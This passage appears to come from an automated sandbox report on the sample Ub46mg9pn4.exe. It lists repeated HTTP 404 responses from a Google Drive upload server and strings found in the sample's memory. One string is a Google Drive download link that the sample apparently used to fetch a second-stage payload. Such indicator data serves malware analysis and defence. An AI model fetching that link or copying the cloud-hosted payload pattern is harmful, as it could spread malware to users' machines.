'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgRqcdl-71-DD7LHmlKk_p8lsEkhrGuE7yCqCIANVwBmuMu1fYtqzKWwBJBYah3_DCL5GQp06GoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:41:17 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-uDSXiYLa9awY9L3T7kX5AA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC444pi1sn1kALp1xOutzyMgCz4aC2tzv2L3xQhg3J_JX32MDzwlFa7Pf-nxdLasJBLyContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:41:28 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-VVtGo7d9dHQRjotSqFMqmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Xye_Fy2cusVzGNYukn_g6HdgIaeRY1zPi0nvA65ITbXX_wbj2LYIp3b6yz22geQZTmwJBSMUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:41:39 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-hxtOys4TxIAAKgOF68hz6Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4jYSLloPEFn-oCkDqsE2W7Q7zoNGrWH9iQbsijOGlbRanBTnrGy8sNVnwKjq8ScdazContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:41:51 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-s95OGUYPComXEnOcZXtYlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4S8ioa2-vZe7hAqvkpFgz5x3VdPZFGy6M0EArxSF5jbOCTnPMKg0Y9lEEeGwvl3_14o-W0eMUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:42:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-SZh3SK1Z26Uz2gk881vyUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7ubSfP3CCcO7BJ1DHSJ5mEuAQkZMCO3Y1OZeRbKFxFkCYar2KAMjnnHeeQF-O5rh6dmPVwGrQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:42:13 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-RydJEnyPYlQExuE7yphd5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4nuo1arNRxxiQC55hB1NzcuDfSD8UDe3S9dTlW8j5R6Gdi1jQAyzkVrk-Mop6oNefm0z6PdmgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:42:24 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-a5LVedqfuwpODHyrq5z0iw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6k0qJbpybAXqYyCf0ezdnFWV0CWUi4n0yG-PYQPrstJA6iqLg6KtntmasqeA84GlFKkhagD7kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:42:35 GMTContent-Security-Policy: script-src 'nonce-9HhhzsHgOUWk4JWzL39fUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC58u_3XKuC0ZZBM2lIoQ7wb5T41I4MX5c_QTselvv5riUlog_E0Clcn_IbHIjMLQUubContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:42:47 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-oTY0jEDcZh4FVqUyfkcK7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119429033452.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119420577259.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119429033452.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119420577259.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119534909966.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: Ub46mg9pn4.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.gopher.ftp://ftp.
Source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000626000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
Source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: Ub46mg9pn4.exe, 00000003.00000003.122252423471.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107152084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120208667768.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555287794.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475837705.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263540323.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995021647.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263385452.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664516867.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225732461.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001326877.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812272065.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758644205.0000000006145000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252356672.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770131383.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dhttps://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=d
Source: Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667138903.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225858052.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475959028.000000000609D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122370413671.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/20000Z
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/Aq
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/U(
